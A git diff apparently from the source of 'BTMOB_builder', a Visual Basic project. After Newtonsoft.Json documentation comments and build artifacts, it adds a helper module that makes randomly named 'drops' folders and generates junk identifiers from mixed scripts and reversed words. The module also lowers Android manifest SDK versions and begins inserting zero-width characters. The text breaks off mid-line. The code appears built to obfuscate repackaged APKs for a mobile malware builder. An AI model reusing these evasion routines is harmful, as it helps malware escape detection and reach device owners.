specified object. + + The serialization context. + The object to get a reference for. + The reference to the object. + + + + Determines whether the specified object is referenced. + + The serialization context. + The object to test for a reference. + + true if the specified object is referenced; otherwise, false. + + + + + Adds a reference to the specified object. + + The serialization context. + The reference. + The object to reference. + + + + Allows users to control class loading and mandate what class to load. + + + + + When implemented, controls the binding of a serialized object to a type. + + Specifies the name of the serialized object. + Specifies the name of the serialized object + The type of the object the formatter creates a new instance of. + + + + When implemented, controls the binding of a serialized object to a type. + + The type of the object the formatter creates a new instance of. + Specifies the name of the serialized object. + Specifies the name of the serialized object. + + + + Represents a trace writer. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + The that will be used to filter the trace messages passed to the writer. + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Provides methods to get and set values. + + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + Contract details for a used by the . + + + + + Gets the of the collection items. + + The of the collection items. + + + + Gets a value indicating whether the collection type is a multidimensional array. + + true if the collection type is a multidimensional array; otherwise, false. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the collection values. + + true if the creator has a parameter with the collection values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the default collection items . + + The converter. + + + + Gets or sets a value indicating whether the collection items preserve object references. + + true if collection items preserve object references; otherwise, false. + + + + Gets or sets the collection item reference loop handling. + + The reference loop handling. + + + + Gets or sets the collection item type name handling. + + The type name handling. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Handles serialization callback events. + + The object that raised the callback event. + The streaming context. + + + + Handles serialization error callback events. + + The object that raised the callback event. + The streaming context. + The error context. + + + + Sets extension data for an object during deserialization. + + The object to set extension data on. + The extension data key. + The extension data value. + + + + Gets extension data for an object during serialization. + + The object to set extension data on. + + + + Contract details for a used by the . + + + + + Gets the underlying type for the contract. + + The underlying type for the contract. + + + + Gets or sets the type created during deserialization. + + The type created during deserialization. + + + + Gets or sets whether this type contract is serialized as a reference. + + Whether this type contract is serialized as a reference. + + + + Gets or sets the default for this contract. + + The converter. + + + + Gets the internally resolved for the contract's type. + This converter is used as a fallback converter when no other converter is resolved. + Setting will always override this converter. + + + + + Gets or sets all methods called immediately after deserialization of the object. + + The methods called immediately after deserialization of the object. + + + + Gets or sets all methods called during deserialization of the object. + + The methods called during deserialization of the object. + + + + Gets or sets all methods called after serialization of the object graph. + + The methods called after serialization of the object graph. + + + + Gets or sets all methods called before serialization of the object. + + The methods called before serialization of the object. + + + + Gets or sets all method called when an error is thrown during the serialization of the object. + + The methods called when an error is thrown during the serialization of the object. + + + + Gets or sets the default creator method used to create the object. + + The default creator method used to create the object. + + + + Gets or sets a value indicating whether the default creator is non-public. + + true if the default object creator is non-public; otherwise, false. + + + + Contract details for a used by the . + + + + + Gets or sets the dictionary key resolver. + + The dictionary key resolver. + + + + Gets the of the dictionary keys. + + The of the dictionary keys. + + + + Gets the of the dictionary values. + + The of the dictionary values. + + + + Gets or sets the function used to create the object. When set this function will override . + + The function used to create the object. + + + + Gets a value indicating whether the creator has a parameter with the dictionary values. + + true if the creator has a parameter with the dictionary values; otherwise, false. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets the object's properties. + + The object's properties. + + + + Gets or sets the property name resolver. + + The property name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object constructor. + + The object constructor. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Gets or sets the object member serialization. + + The member object serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets the object's properties. + + The object's properties. + + + + Gets a collection of instances that define the parameters used with . + + + + + Gets or sets the function used to create the object. When set this function will override . + This function is called with a collection of arguments which are defined by the collection. + + The function used to create the object. + + + + Gets or sets the extension data setter. + + + + + Gets or sets the extension data getter. + + + + + Gets or sets the extension data value type. + + + + + Gets or sets the extension data name resolver. + + The extension data name resolver. + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Maps a JSON property to a .NET member or constructor parameter. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the type that declared this property. + + The type that declared this property. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets the name of the underlying member or parameter. + + The name of the underlying member or parameter. + + + + Gets the that will get and set the during serialization. + + The that will get and set the during serialization. + + + + Gets or sets the for this property. + + The for this property. + + + + Gets or sets the type of the property. + + The type of the property. + + + + Gets or sets the for the property. + If set this converter takes precedence over the contract converter for the property type. + + The converter. + + + + Gets or sets the member converter. + + The member converter. + + + + Gets or sets a value indicating whether this is ignored. + + true if ignored; otherwise, false. + + + + Gets or sets a value indicating whether this is readable. + + true if readable; otherwise, false. + + + + Gets or sets a value indicating whether this is writable. + + true if writable; otherwise, false. + + + + Gets or sets a value indicating whether this has a member attribute. + + true if has a member attribute; otherwise, false. + + + + Gets the default value. + + The default value. + + + + Gets or sets a value indicating whether this is required. + + A value indicating whether this is required. + + + + Gets a value indicating whether has a value specified. + + + + + Gets or sets a value indicating whether this property preserves object references. + + + true if this instance is reference; otherwise, false. + + + + + Gets or sets the property null value handling. + + The null value handling. + + + + Gets or sets the property default value handling. + + The default value handling. + + + + Gets or sets the property reference loop handling. + + The reference loop handling. + + + + Gets or sets the property object creation handling. + + The object creation handling. + + + + Gets or sets or sets the type name handling. + + The type name handling. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets a predicate used to determine whether the property should be deserialized. + + A predicate used to determine whether the property should be deserialized. + + + + Gets or sets a predicate used to determine whether the property should be serialized. + + A predicate used to determine whether the property should be serialized. + + + + Gets or sets an action used to set whether the property has been deserialized. + + An action used to set whether the property has been deserialized. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Gets or sets the converter used when serializing the property's collection items. + + The collection's items converter. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + A collection of objects. + + + + + Initializes a new instance of the class. + + The type. + + + + When implemented in a derived class, extracts the key from the specified element. + + The element from which to extract the key. + The key for the specified element. + + + + Adds a object. + + The property to add to the collection. + + + + Gets the closest matching object. + First attempts to get an exact case match of and then + a case insensitive match. + + Name of the property. + A matching property if found. + + + + Gets a property by property name. + + The name of the property to get. + Type property name string comparison. + A matching property if found. + + + + Contract details for a used by the . + + + + + Initializes a new instance of the class. + + The underlying type for the contract. + + + + Lookup and create an instance of the type described by the argument. + + The type to create. + Optional arguments to pass to an initializing constructor of the JsonConverter. + If null, the default constructor is used. + + + + A kebab case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Represents a trace writer that writes to memory. When the trace message limit is + reached then old trace messages will be removed as new messages are added. + + + + + Gets the that will be used to filter the trace messages passed to the writer. + For example a filter level of will exclude messages and include , + and messages. + + + The that will be used to filter the trace messages passed to the writer. + + + + + Initializes a new instance of the class. + + + + + Writes the specified trace level, message and optional exception. + + The at which to write this trace. + The trace message. + The trace exception. This parameter is optional. + + + + Returns an enumeration of the most recent trace messages. + + An enumeration of the most recent trace messages. + + + + Returns a of the most recent trace messages. + + + A of the most recent trace messages. + + + + + A base class for resolving how property names and dictionary keys are serialized. + + + + + A flag indicating whether dictionary keys should be processed. + Defaults to false. + + + + + A flag indicating whether extension data names should be processed. + Defaults to false. + + + + + A flag indicating whether explicitly specified property names, + e.g. a property name customized with a , should be processed. + Defaults to false. + + + + + Gets the serialized name for a given property name. + + The initial property name. + A flag indicating whether the property has had a name explicitly specified. + The serialized property name. + + + + Gets the serialized name for a given extension data name. + + The initial extension data name. + The serialized extension data name. + + + + Gets the serialized key for a given dictionary key. + + The initial dictionary key. + The serialized dictionary key. + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Hash code calculation + + + + + + Object equality implementation + + + + + + + Compare to another NamingStrategy + + + + + + + Represents a method that constructs an object. + + The object type to create. + + + + When applied to a method, specifies that the method is called when an error occurs serializing an object. + + + + + Provides methods to get attributes from a , , or . + + + + + Initializes a new instance of the class. + + The instance to get attributes for. This parameter should be a , , or . + + + + Returns a collection of all of the attributes, or an empty collection if there are no attributes. + + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. + + The type of the attributes. + When true, look up the hierarchy chain for the inherited custom attribute. + A collection of s, or an empty collection. + + + + Get and set values for a using reflection. + + + + + Initializes a new instance of the class. + + The member info. + + + + Sets the value. + + The target to set the value on. + The value to set on the target. + + + + Gets the value. + + The target to get the value from. + The value. + + + + A snake case naming strategy. + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + + + Initializes a new instance of the class. + + + A flag indicating whether dictionary keys should be processed. + + + A flag indicating whether explicitly specified property names should be processed, + e.g. a property name customized with a . + + + A flag indicating whether extension data names should be processed. + + + + + Initializes a new instance of the class. + + + + + Resolves the specified property name. + + The property name to resolve. + The resolved property name. + + + + Specifies how strings are escaped when writing JSON text. + + + + + Only control characters (e.g. newline) are escaped. + + + + + All non-ASCII and control characters (e.g. newline) are escaped. + + + + + HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. + + + + + Indicates the method that will be used during deserialization for locating and loading assemblies. + + + + + In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. + + + + + In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. + + + + + Specifies type name handling options for the . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Do not include the .NET type name when serializing types. + + + + + Include the .NET type name when serializing into a JSON object structure. + + + + + Include the .NET type name when serializing into a JSON array structure. + + + + + Always include the .NET type name when serializing. + + + + + Include the .NET type name when the type of the object being serialized is not the same as its declared type. + Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON + you must specify a root type object with + or . + + + + + Determines whether the collection is null or empty. + + The collection. + + true if the collection is null or empty; otherwise, false. + + + + + Adds the elements of the specified collection to the specified generic . + + The list to add to. + The collection of elements to add. + + + + Converts the value to the specified type. If the value is unable to be converted, the + value is checked whether it assignable to the specified type. + + The value to convert. + The culture to use when converting. + The type to convert or cast the value to. + + The converted type. If conversion was unsuccessful, the initial value + is returned if assignable to the target type. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic that returns a result + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Helper method for generating a MetaObject which calls a + specific method on Dynamic, but uses one of the arguments for + the result. + + + + + Returns a Restrictions object which includes our current restrictions merged + with a restriction limiting our type + + + + + Helper class for serializing immutable collections. + Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed + https://github.com/JamesNK/Newtonsoft.Json/issues/652 + + + + + Gets the type of the typed collection's items. + + The type. + The type of the typed collection's items. + + + + Gets the member's underlying type. + + The member. + The underlying type of the member. + + + + Determines whether the property is an indexed property. + + The property. + + true if the property is an indexed property; otherwise, false. + + + + + Gets the member's value on the object. + + The member. + The target object. + The member's value on the object. + + + + Sets the member's value on the target object. + + The member. + The target. + The value. + + + + Determines whether the specified MemberInfo can be read. + + The MemberInfo to determine whether can be read. + /// if set to true then allow the member to be gotten non-publicly. + + true if the specified MemberInfo can be read; otherwise, false. + + + + + Determines whether the specified MemberInfo can be set. + + The MemberInfo to determine whether can be set. + if set to true then allow the member to be set non-publicly. + if set to true then allow the member to be set if read-only. + + true if the specified MemberInfo can be set; otherwise, false. + + + + + Builds a string. Unlike this class lets you reuse its internal buffer. + + + + + Determines whether the string is all white space. Empty string will return false. + + The string to test whether it is all white space. + + true if the string is all white space; otherwise, false. + + + + + Specifies the state of the . + + + + + An exception has been thrown, which has left the in an invalid state. + You may call the method to put the in the Closed state. + Any other method calls result in an being thrown. + + + + + The method has been called. + + + + + An object is being written. + + + + + An array is being written. + + + + + A constructor is being written. + + + + + A property is being written. + + + + + A write method has not been called. + + + + Specifies that an output will not be null even if the corresponding type allows it. + + + Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. + + + Initializes the attribute with the specified return value condition. + + The return value condition. If the method returns this value, the associated parameter will not be null. + + + + Gets the return value condition. + + + Specifies that an output may be null even if the corresponding type disallows it. + + + Specifies that null is allowed as an input even if the corresponding type disallows it. + + + + Specifies that the method will not return if the associated Boolean parameter is passed the specified value. + + + + + Initializes a new instance of the class. + + + The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to + the associated parameter matches this value. + + + + Gets the condition parameter value. + + + diff --git a/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.exe b/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.exe new file mode 100644 index 0000000..1d427f5 Binary files /dev/null and b/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.exe differ diff --git a/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.exe.config b/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.exe.config new file mode 100644 index 0000000..fad249e --- /dev/null +++ b/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.pdb b/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.pdb new file mode 100644 index 0000000..6547a78 Binary files /dev/null and b/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.pdb differ diff --git a/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.xml b/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.xml new file mode 100644 index 0000000..dfc9c1f --- /dev/null +++ b/BTMOB_builder/SolrStarter/bin/Debug/SolrStarter.xml @@ -0,0 +1,26 @@ + + + + +SolrStarter + + + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + diff --git a/BTMOB_builder/SolrStarter/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.vb b/BTMOB_builder/SolrStarter/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.vb new file mode 100644 index 0000000..c554e58 --- /dev/null +++ b/BTMOB_builder/SolrStarter/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.vb @@ -0,0 +1,7 @@ +' + Option Strict Off + Option Explicit On + + Imports System + Imports System.Reflection + diff --git a/BTMOB_builder/SolrStarter/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.vb b/BTMOB_builder/SolrStarter/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.vb new file mode 100644 index 0000000..4ff6198 --- /dev/null +++ b/BTMOB_builder/SolrStarter/obj/Debug/.NETFramework,Version=v4.8.AssemblyAttributes.vb @@ -0,0 +1,7 @@ +' + Option Strict Off + Option Explicit On + + Imports System + Imports System.Reflection + diff --git a/BTMOB_builder/SolrStarter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/BTMOB_builder/SolrStarter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache new file mode 100644 index 0000000..a14a85a Binary files /dev/null and b/BTMOB_builder/SolrStarter/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ diff --git a/BTMOB_builder/SolrStarter/obj/Debug/SolrStarter.vbproj.AssemblyReference.cache b/BTMOB_builder/SolrStarter/obj/Debug/SolrStarter.vbproj.AssemblyReference.cache new file mode 100644 index 0000000..8f8dc13 Binary files /dev/null and b/BTMOB_builder/SolrStarter/obj/Debug/SolrStarter.vbproj.AssemblyReference.cache differ diff --git a/BTMOB_builder/SolrStarter/obj/Debug/TempPE/My Project.Application.Designer.vb.dll b/BTMOB_builder/SolrStarter/obj/Debug/TempPE/My Project.Application.Designer.vb.dll new file mode 100644 index 0000000..f532a26 Binary files /dev/null and b/BTMOB_builder/SolrStarter/obj/Debug/TempPE/My Project.Application.Designer.vb.dll differ diff --git a/BTMOB_builder/SolrStarter/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll b/BTMOB_builder/SolrStarter/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll new file mode 100644 index 0000000..f6e7547 Binary files /dev/null and b/BTMOB_builder/SolrStarter/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll differ diff --git a/BTMOB_builder/SolrStarter/packages.config b/BTMOB_builder/SolrStarter/packages.config new file mode 100644 index 0000000..a651465 --- /dev/null +++ b/BTMOB_builder/SolrStarter/packages.config @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/BTMOB_builder/SolrWorker/App.config b/BTMOB_builder/SolrWorker/App.config new file mode 100644 index 0000000..5ffd8f8 --- /dev/null +++ b/BTMOB_builder/SolrWorker/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/BTMOB_builder/SolrWorker/Codes.vb b/BTMOB_builder/SolrWorker/Codes.vb new file mode 100644 index 0000000..a903f80 --- /dev/null +++ b/BTMOB_builder/SolrWorker/Codes.vb @@ -0,0 +1,396 @@ + + +Imports System.IO +Imports System.IO.Compression +Imports System.Security.Cryptography +Imports System.Text +Imports System.Xml + +Module Codes + Function ToBase64(input As String) As String + Dim bytes As Byte() = Encoding.UTF8.GetBytes(input) + Return Convert.ToBase64String(bytes) + End Function + Function GenerateRandomFolderName(nam As String) As String + + ''Dim tempPath As String = GetDrive() + Dim tempPath As String = Path.GetTempPath + + + Dim validChars As String = "qazQAZwsxWSXedcEDCrfvRFVtgbTGByhnYHNujmUJMikIKolOLpP" + + + Dim folderNameLength As Integer = 5 + + + Dim random As New Random() + Dim folderName As String = "app_" + nam + "_" & New String(Enumerable.Repeat(validChars, folderNameLength) _ + .Select(Function(s) s(random.Next(s.Length))).ToArray()) + + + Dim fullPath As String = Path.Combine(tempPath, folderName) + + + Dim driv As String = GetDrive() + While Directory.Exists(fullPath) + + folderName = driv & "app_" + nam + "_" & New String(Enumerable.Repeat(validChars, folderNameLength) _ + .Select(Function(s) s(random.Next(s.Length))).ToArray()) + fullPath = Path.Combine(tempPath, folderName) + End While + + + Directory.CreateDirectory(fullPath) + + Return fullPath + End Function + Function Generatedrop(nam As String) As String + + Dim tempPath As String = GetDrive() & "drops" & "\" + ''Dim tempPath As String = Path.GetTempPath + + + Dim validChars As String = "qazQAZwsxWSXedcEDCrfvRFVtgbTGByhnYHNujmUJMikIKolOLpP" + + + Dim folderNameLength As Integer = 5 + + + Dim random As New Random() + Dim folderName As String = "app_" + nam + "_" & New String(Enumerable.Repeat(validChars, folderNameLength) _ + .Select(Function(s) s(random.Next(s.Length))).ToArray()) + + + Dim fullPath As String = Path.Combine(tempPath, folderName) + + + Dim driv As String = GetDrive() + While Directory.Exists(fullPath) + + folderName = driv & "app_" + nam + "_" & New String(Enumerable.Repeat(validChars, folderNameLength) _ + .Select(Function(s) s(random.Next(s.Length))).ToArray()) + fullPath = Path.Combine(tempPath, folderName) + End While + + + Directory.CreateDirectory(fullPath) + + Return fullPath + End Function + Public Function FixStrings(ByVal str As String) As String + + + Dim c0 As String = "&" + Dim p0 As String = "&" + + Dim c1 As String = "<" + Dim p1 As String = "<" + + Dim c2 As String = """" + Dim p2 As String = "\""" + + Dim c3 As String = "'" + Dim p3 As String = "\'" + + Dim c4 As String = "?" + Dim p4 As String = "\?" + + Dim c5 As String = "@" + Dim p5 As String = "\@" + + If str.Contains(c0) Then + If Not str.Contains(p0) Then + str = str.Replace(c0, p0) + End If + End If + + + If str.Contains(c1) Then + If Not str.Contains(p1) Then + str = str.Replace(c1, p1) + End If + End If + + If str.Contains(c2) Then + If Not str.Contains(p2) Then + str = str.Replace(c2, p2) + End If + End If + + If str.Contains(c3) Then + If Not str.Contains(p3) Then + str = str.Replace(c3, p3) + End If + End If + + If str.Contains(c4) Then + If Not str.Contains(p4) Then + str = str.Replace(c4, p4) + End If + End If + + If str.Contains(c5) Then + If Not str.Contains(p5) Then + str = str.Replace(c5, p5) + End If + End If + Return str + + End Function + Public Function FileInUse(ByVal sFile As String) As Boolean + Dim thisFileInUse As Boolean = False + If System.IO.File.Exists(sFile) Then + Try + Using f As New IO.FileStream(sFile, FileMode.Open, FileAccess.ReadWrite, FileShare.None) + ' thisFileInUse = False + End Using + Catch + thisFileInUse = True + End Try + End If + Return thisFileInUse + End Function + Public rshit As Random = Nothing + Public usedalready As List(Of String) = New List(Of String) + Public cou3 As Integer = 0 + Function RandommMad(minCharacters As Integer, maxCharacters As Integer) +again: + Dim s As String = "qazwsxedcrfvtgbyhnujmikolp" + Static r As New Random + Dim chactersInString As Integer = r.Next(minCharacters, maxCharacters) + Dim sb As New StringBuilder + For i As Integer = 1 To chactersInString + Dim idx As Integer = r.Next(0, s.Length) + sb.Append(s.Substring(idx, 1)) + Next + Dim result As String = sb.ToString() + If usedalready.Contains(result) Then + GoTo again + End If + usedalready.Add(result) + Return result + End Function + Function UpdateVersions(inputXml As String) As String + Dim doc As New XmlDocument() + doc.LoadXml(inputXml) + + Dim manifestNode As XmlNode = doc.SelectSingleNode("/manifest") + If manifestNode IsNot Nothing Then + Dim compileSdkVersionAttr As XmlAttribute = manifestNode.Attributes("compileSdkVersion") + Dim platformBuildVersionCodeAttr As XmlAttribute = manifestNode.Attributes("platformBuildVersionCode") + + If compileSdkVersionAttr IsNot Nothing Then + Dim compileSdkVersionValue As Integer + + + If Integer.TryParse(compileSdkVersionAttr.Value, compileSdkVersionValue) AndAlso compileSdkVersionValue > 29 Then + compileSdkVersionAttr.Value = "29" + End If + + + End If + + If platformBuildVersionCodeAttr IsNot Nothing Then + + Dim platformBuildVersionCodeValue As Integer + + + If Integer.TryParse(platformBuildVersionCodeAttr.Value, platformBuildVersionCodeValue) AndAlso platformBuildVersionCodeValue > 29 Then + platformBuildVersionCodeAttr.Value = "29" + End If + End If + End If + + Return doc.OuterXml + End Function + Public Function GetDrive() As String + Try + Dim f() As String = {"\"} + Dim a() As String = AppDomain.CurrentDomain.BaseDirectory.Split(f, StringSplitOptions.RemoveEmptyEntries) + Return a(0) & "\" + Catch + Return "C:\" + End Try + End Function + Private cou As Integer = 0 + Function RandomSTR(minCharacters As Integer, maxCharacters As Integer) + + Dim s As String = "qazQAZwsxWSXedcEDCrfvRFVtgbTGByhnYHNujmUJMikIKolOLpP" + + Static r As New Random + Dim chactersInString As Integer = r.Next(minCharacters, maxCharacters) + Dim sb As New System.Text.StringBuilder + For i As Integer = 1 To chactersInString + Dim idx As Integer = r.Next(0, s.Length) + sb.Append(s.Substring(idx, 1)) + + Next + cou += 1 + Return sb.ToString().ToLower() & CStr(cou) + End Function + Public Function GenerateRandomNumber(ByVal m0 As Integer, ByVal m1 As Integer) As Integer + Static Random_Number As New Random() + Return Random_Number.Next(m0, m1) + End Function + + + Private ranmad As Random + Public Function madladstr() As String + Dim s As String = "QAZWSXEDCRFTGBYHNUJMIKOLP嘩骆姨毘矛檴丘萺膵掸纀豘侉蚩蕥寶鎳獖凙鈞蹼甞犈鐲瀿梲竆暀薽勵嗬訴棕qazwsxedcrfvtgbyhnujmikolpضشئصسءثيؤقرفللاغاىعتةهنخمح" + If rshit Is Nothing Then + rshit = New Random + End If + + Dim sb As String = "" + While sb.Length < 125 + sb += s(rshit.Next(0, s.Length - 1)) + End While + + cou3 += 1 + Return sb.ToString().ToLower & CStr(cou3) + End Function + + 'Public Sub File_zip_Decompress(zipPath As String, pathfolder As String) + + ' If Not System.IO.Directory.Exists(pathfolder) Then + ' System.IO.Directory.CreateDirectory(pathfolder) + ' End If + ' 'Using zip As Ionic.Zip.ZipFile = Ionic.Zip.ZipFile.Read(zipPath) + ' ' zip.ExtractAll(pathfolder, Ionic.Zip.ExtractExistingFileAction.OverwriteSilently) + ' 'End Using + + ' ZipFile.ExtractToDirectory(zipPath, pathfolder) + + 'End Sub + + Public Sub CopyDirectoryContents(sourcePath As String, destinationPath As String) + If Not Directory.Exists(sourcePath) Then + Return + End If + + If Not Directory.Exists(destinationPath) Then + Directory.CreateDirectory(destinationPath) + End If + + ' Copy all files + For Each filePathString As String In Directory.GetFiles(sourcePath, "*.*", SearchOption.AllDirectories) + Dim fileInfoItem As New FileInfo(filePathString) + Dim newFilePath As String = Path.Combine(destinationPath, fileInfoItem.Name) + If File.Exists(newFilePath) Then + ' If file already exists in destination, replace it + File.Delete(newFilePath) + End If + File.Copy(filePathString, newFilePath) ' Move file + Next + + ' Now copy all directories (including subdirectories) except source + For Each dirPath As String In Directory.GetDirectories(sourcePath, "*", SearchOption.AllDirectories) + Dim newDirPath As String = dirPath.Replace(sourcePath, destinationPath) + If Not Directory.Exists(newDirPath) Then + Directory.CreateDirectory(newDirPath) + End If + ' Copy directory's content except source directory + For Each filePathString As String In Directory.GetFiles(dirPath, "*.*", SearchOption.AllDirectories) + Dim fileInfoItem As New FileInfo(filePathString) + Dim newFilePath As String = Path.Combine(newDirPath, fileInfoItem.Name) + If File.Exists(newFilePath) Then + ' If file already exists in destination, replace it + File.Delete(newFilePath) + End If + File.Copy(filePathString, newFilePath) ' Move file + Next + Next + End Sub + Public Sub DirectoryDeleteLong(ByVal directoryPath As String) + Dim emptyDirectory = New DirectoryInfo(Path.GetTempPath() + "\TempEmptyDirectory-" + Guid.NewGuid().ToString) + + Try + emptyDirectory.Create() + + Using process = New Process() + process.StartInfo.FileName = "robocopy.exe" + process.StartInfo.Arguments = """" & emptyDirectory.FullName & """ """ & directoryPath & """ /mir /r:1 /w:1 /np /xj /sl" + process.StartInfo.UseShellExecute = False + process.StartInfo.CreateNoWindow = True + process.Start() + process.WaitForExit() + End Using + + emptyDirectory.Delete() + If Directory.Exists(directoryPath) Then + Dim x As New DirectoryInfo(directoryPath) + x.Attributes = FileAttributes.Normal + Directory.Delete(directoryPath) + End If + + Catch __unusedIOException1__ As IOException + ' MsgBox(__unusedIOException1__) + End Try + End Sub + + Public Function FromBase64(input As String) As String + Dim bytes As Byte() = Convert.FromBase64String(input) + Return Encoding.UTF8.GetString(bytes) + End Function + + + Private randmid As String() = New String() { + "ahpla", "ateb", "ammag", "atled", "agemo", + "elibom", "sloot", "oiduts", "aidem", "semag", + "krowten", "eruces", "duolc", "cnys", "enigne", + "cigol", "maerts", "metsys", "latrop", "tcennoc", + "tegdiw", "resworb", "reyalp", "xirtam", "lortnoc", + "elpmis", "trams", "kcart", "puorg", "sucof", + "noisiv", "sbal", "dlrow", "tfos", "yrotcaf", + "kraps", "evaw", "wolg", "emarf", "tlob", + "rotcev", "lexip", "mutnauq", "knil", "niahc", + "kcolb", "tnega", "mrof", "epocs", "eslup", + "kcats", "tfihs", "egdirb", "atsiv", "eralf", + "ohce", "egrof", "tfarc", "dnelb", "tniop", + "kcilc", "mooz", "tinu", "etats", "dleif", + "level", "erehps", "kced", "hcnual", "langis", + "hsem", "ecart", "tfird", "nemul", "rednes", + "repooL", "eldnah", "regnahc", "noitces", "retuor", + "ssecca", "yranib", "rotcev", "otpyrC", "rehpcy", + "tibro", "yxalag", "avon", "resal", "eludom", + "lenrek", "yranoisiv", "cimanyd", "tobber", "eludom", + "cimetsys", "yfitnauq", "rallets", "noitom", "tekcap", + "edocne", "yolped", "suxen", "nevird", "citats", + "redner", "neercs", "balkcigol", "dnekcab", "dnetnorf", + "xredner", "emitpu", "egarots", "draugefas", "tpyrcne", + "rotinom", "dnammoc", "daolyap", "retsulc", "retpada", + "yawetag", "elipmoc", "repparw", "lautriv", "lennahc", + "tsacdaorb", "tig id", "ygrenes", "esufni", "thgisni", + "noisuf", "hctilg", "remaerts", "xelipmoc", "rohnca", + "sessenisub", "ekorts", "desserpmoc", "gnithgil", "esabataD", + "gnikrowten", "rotinummoc", "erawdrah", "esab", "rotinom", + "tropsnart", "rewopes", "noitacol", "gnimmargorp", "resu", + "gnidoc", "gnitset", "gnimmargorp", "redaolpu", "daolnwod", + "retlif", "ssalc", "revres", "gnikcolc", "tpmorp", + "tuptuo", "niamod", "edoc", "reyal", "metsys", + "enilno", "yrellag", "emanelif", "noitarugifnoc", "edom" +} + + Public Function Random_Word() + Static Rnd As New Random + Return randmid(Rnd.Next(0, randmid.Length - 1)) + End Function + Public Function Encoding() As System.Text.Encoding + Dim i As System.Text.Encoding = System.Text.Encoding.UTF8 + Return i + End Function + + Function InsertZWNJ(ByVal input As String, Optional ByVal position As Integer = -1) As String + ' U+200C = Zero Width Non-Joiner + Dim zwnj 